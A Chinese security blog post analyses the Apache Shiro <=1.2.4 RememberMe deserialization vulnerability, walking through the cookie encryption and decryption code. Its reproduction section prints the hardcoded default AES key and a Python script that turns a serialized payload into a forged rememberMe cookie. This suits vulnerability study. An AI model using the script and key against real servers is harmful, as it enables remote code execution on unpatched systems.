[Java反序列化]—Shiro反序列化(一)

这篇具有很好参考价值的文章主要介绍了[Java反序列化]—Shiro反序列化(一)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

环境配置: 

IDEA搭建shiro550复现环境_普通网友的博客-CSDN博客

漏洞原理:

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本:

Apache Shiro <= 1.2.4

漏洞原理:

shiro反序列化主要就是对cookie进行的一系列操作, 也就是 选了 rememberme。他会对你的cookie 进行 操作。[Java反序列化]—Shiro反序列化(一)

 特征

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

shiro 默认使用了 CookieRememberMeManager,其处理cookie的流程是:

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

然而AES的密钥是硬编码的,导致攻击者可以构造任意数据造成反序列化RCE,payload:

恶意命令-->序列化-->AES加密-->base64编码-->发送cookie

在整个漏洞中,比较重要的是AES的密钥。

加密分析:

Shiro <= 1.2.4 版本默认使用   CookieRememberMeManager。

[Java反序列化]—Shiro反序列化(一)

而这个 CookieRememberMeManager 继承了 AbstractRememberMeManager 跟进看看。

[Java反序列化]—Shiro反序列化(一)

 此处有个 硬编码 DEFAULT_CIPHER_KEY_BYTES ,然后他又实现了 RememberMeManager接口,跟进去看看[Java反序列化]—Shiro反序列化(一)

实现了这些接口,看英文单词是  记住身份信息、忘记身份信息、登录成功、登录失败、已登录功能,既然这样,那么肯定会调用登录成功的这个接口,然后再去实现这个接口,所以我们在这里下个断点

[Java反序列化]—Shiro反序列化(一)

这里我是勾选了这个 Remember me 的[Java反序列化]—Shiro反序列化(一)

 [Java反序列化]—Shiro反序列化(一)

 而这,我们是可以进入if 的[Java反序列化]—Shiro反序列化(一)

 这里的 subject 存储的是一些 登录信息  比如session 等

[Java反序列化]—Shiro反序列化(一)

 而PrincipalCollection 是个身份集合,我们先不管。

我们继续跟进这个 

 rememberIdentity(subject, token, info);

 这里获取了身份信息,但是不知道是用来干嘛的

[Java反序列化]—Shiro反序列化(一)

跟进一下这个  convertPrincipalsToBytes()

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals);  //序列化这个身份信息
        if (getCipherService() != null) {
            bytes = encrypt(bytes);
        }
        return bytes;
    }

这里把身份信息传给convertPrincipalsToBytes() ,身份信息传参为principals ,然后将这个信息应该是序列化了。

[Java反序列化]—Shiro反序列化(一)

[Java反序列化]—Shiro反序列化(一) 大概就是跳了两层,到 DefaultSerialize类的 序列化方法,这里把身份信息转换为bytes,写入缓冲区,然后就进行了序列化,最后通过toByteArray() 方法 返回序列化后的Byte数组[Java反序列化]—Shiro反序列化(一)

然后回来这个地方:

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals);
        if (getCipherService() != null) {
            bytes = encrypt(bytes);
        }
        return bytes;
    }

 进行一个if判断,getCipherService()方法不为空则进入条件里面里面。我们f7进去内部看看;

[Java反序列化]—Shiro反序列化(一)

 发现又是一个cipherService,也就是获取密码服务,我们再继续F7跟进发现直接推出了。那我们就 Ctrl+左键继续进去看。可以,发现是new了一个aes加密服务。[Java反序列化]—Shiro反序列化(一)

 那我们点击debugger处,回到刚刚那个地方;我们就不用继续进入了,我们就思考一下,这边是要获取到加密服务,如果没获取到,则不进入。获取到的话,则进入该条件;

[Java反序列化]—Shiro反序列化(一)

 然后调用encrypt()方法,这是个加密方法。我们f7跟进去看看什么情况。

[Java反序列化]—Shiro反序列化(一)

 这里把序列化后的bytes 传参给serialized 赋值给value ,然后if判断,getCipherService(),这个是存在的。然后我们进入条件判断股内部

ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());

这里调用cipherService.encrypt()方法并且传入序列化数据,和getEncryptionCipherKey方法。

[Java反序列化]—Shiro反序列化(一)

 我们通过getEncryptionCipherKey()名字可以知道是获取key的一个方法。那我们f7进入看看

[Java反序列化]—Shiro反序列化(一)

直接return了 ,看看这个encryptionCipherKey的初始定义

[Java反序列化]—Shiro反序列化(一)

 看看哪里赋值了

[Java反序列化]—Shiro反序列化(一)

    public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
        this.encryptionCipherKey = encryptionCipherKey;
    }

 在 setEncryptionCipherKey()进行了赋值,看看谁调用了setEncryptionCipherKey()

[Java反序列化]—Shiro反序列化(一)

    public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }

 这里调用了setEncryptionCipherKey(),继续跟谁调用了setCipherKey()[Java反序列化]—Shiro反序列化(一)

    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

发现是把前面看的硬编码传给了setCipherKey(),而public AbstractRememberMeManager()是构造函数。也就是说,前面的getEncryptionCipherKey(),就是固定值,硬编码

ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

至此 也就是说,  这个勾了remember的功能,他会把我们的身份信息,序列化后和 那个固定的key进行加密,接下来我们需要分析一下解密的操作

解密流程

在 shiro 文件中找到   CookieRememberMeManager.java 对cookie中的字段进行管理,其中有个rememberSerializedIdentity(),可以对remember认证信息进行序列化

[Java反序列化]—Shiro反序列化(一)

其中这里有个 getCookie().readValue(request, response),这是读取cookie中的数据,跟上:

[Java反序列化]—Shiro反序列化(一)

 根据名字,可以知道是一个读取值的方法。

[Java反序列化]—Shiro反序列化(一)

通过 getName()方法得到name =remeber me  然后把value = nuLL,  在通过getCookie获取到cookie,最后判断cookie 不为空 进入到内部随后  cookie.getValue.  并赋值为 value 其值为序列化的内容   ,然后return 回value 也就是序列化的值。

[Java反序列化]—Shiro反序列化(一)

也就是返回到这一步,这里进行了一个判断,判断这个 base64的值是否是 deleteMe ,是的话就返回null,我们这里肯定不是了,我们的值是序列化内容,继续往下走,然后进行了一个base64解密赋值给了 decode

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

目前只进行了 base64解密。接下来还需要AES 解密,继续跟进,看看哪里调用了rememberSerializedIdentity(),

[Java反序列化]—Shiro反序列化(一)

[Java反序列化]—Shiro反序列化(一) 是这里调用了。 其中bytes 肯定不为空,所以进入第一个if,期间调用了convertBytesToPrincipals

 把 序列化内容传进去了,跟进。

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

if钟进行了解密。最后回返回反序列化的内容,看看decrypt()

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

很好,他也是用了硬编码进行了解密,就是那个固定值,我就不跟了。直接跟进最后面的deserialize(byte)

  protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

最终就到了readObject执行反序列化

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
        T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

一下这个加解密 过程是我抄其他师傅的  原理不清楚,因为我没有编写脚本能力

漏洞复现

用脚本将序列化生成的文件1.txt进行aes加密

import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES

def get_file(filename):
    with open(filename,'rb') as f:
        data = f.read()
    return data


def aesEncode(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS-len(s)%BS)) * chr(BS-len(s)%BS).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
    return ciphertext
def aesDecode(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s:s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext 



if __name__ == '__main__':
    data = get_file("1.txt")
    print(aesEncode(data))

生成后传入cookie 中,dnslog成功回显

[Java反序列化]—Shiro反序列化(一)文章来源地址https://www.toymoban.com/news/detail-463631.html

到了这里,关于[Java反序列化]—Shiro反序列化(一)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【shiro】shiro反序列化漏洞综合利用工具v2.2(下载、安装、使用)

    shiro反序列化漏洞综合利用工具v2.2下载: 链接:https://pan.baidu.com/s/1kvQEMrMP-PZ4K1eGwAP0_Q?pwd=zbgp 提取码:zbgp 其他工具下载: 除了该工具之外,github上还有其他大佬贡献的各种工具,有许多python编写的工具,功能简单,可以作为理解shiro漏洞原理并编写自己工具的教材。 说明 :

    2023年04月08日
    浏览(47)
  • Shiro1.2.4反序列化漏洞

    目录 Shiro1.2.4反序列化漏洞 一、JRMP协议 二、漏洞原理 三、复现步骤 四、修复和防御 ​JRMP全称为Java Remote Method Protocol,也就是Java远程方法协议。是RMI(Remote Method Invocation)工作的底层协议。 ​Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Co

    2024年02月01日
    浏览(36)
  • shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:Program FilesJava 2.冰蝎 C:UsersaliDesktoptoolsBehinder_v4.0.6 3.shiro反序列化 图形化工具 shiro attack2.2 C:UsersaliDesktoptoolsshiro_attack_2.2 4.shiro反序列化 命令行工具 C:UsersaliDesktoptoolsshiro_tool.jar 一.Shiro-550 CVE-2016-4437 序列化: 在Java中,把Java对象转换为字节序列(

    2023年04月08日
    浏览(48)
  • shiro反序列化[cve_2016_4437]

    目录 什么是shiro? 漏洞原理 漏洞复现 修复方案 Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。 Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使

    2024年02月15日
    浏览(44)
  • RuoYi v4.2 Shiro反序列化漏洞

    反序列化漏洞 漏洞原理 反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来

    2024年02月01日
    浏览(46)
  • Apache Shiro反序列化漏洞研究及解决方法

    前言 一个阳光明媚的午休,我正惬意的喝着茶听着音乐,享受美好生活的时候,客户的QQ头像闪动了,原以为是出了什么新需求临时需要调整,没想到客户反馈的是平台出现了严重漏洞,不敢小视,抄起电脑开弄 我根据客户给出的安全厂商反馈的问题,总结如下: 1,Shiro反

    2024年02月11日
    浏览(50)
  • shiro反序列化和log4j

    进入vulhb目录下的weblogic,复现CVE-2018-2894漏洞: 查看docker-compose的配置文件: 如图,里面有一个镜像文件的信息和服务名,以及它的 端口号 (后面要用): 然后使用下面命令,搭建docker-compose并启动: 如图,安装成功: 原理如下

    2024年02月07日
    浏览(45)
  • Shiro反序列化漏洞(CVE-2016-4437)+docker靶场+工具利用

    将java对象转换为字节序列(json/xml)的过程叫序列化,将字节序列(json/xml)恢复为java对象的过程称为反序列化。 Shiro框架提供了“记住我”的功能,用户登陆成功后会生成经过加密并编码的cookie,cookie的key为RememberMe,cookie的值是经过序列化的,使用AES加密,再使用base64编码

    2024年02月16日
    浏览(45)
  • Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

    目录 前言: (一)基本介绍 0x01 影响版本 0x02 漏洞分析 根据加密的顺序,不难知道解密的顺序为: 登入  验证  (二)环境搭建 1、本地复现 0x01 源代码 0x02  pom.xml修改: 0x03 tomcat服务器 0x04  ysoserial-jar依赖 0x05  访问端口  2、vulhub  访问端口:  (三)利用工具和方式 1、

    2024年02月05日
    浏览(48)
  • Apache Shiro RememberMe 1.2.4 反序列化过程命令执行漏洞【原理扫描】

    文章目录 一、分析定位 1. 漏洞描述 2. 项目引发漏洞简述 二、 若依系统 2.1. 版本升级 2.2. 配置文件 2.3. 推荐做法 2.4. 栗子 2.5. 项目场景 三、Gus系统 3.1. shiro版本升级 3.2. 调用重新生成 3.3. 生成工具类 shiro漏洞补充: 一、分析定位 1. 漏洞描述 2. 项目引发漏洞简述 若依/Guns管

    2024年02月15日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包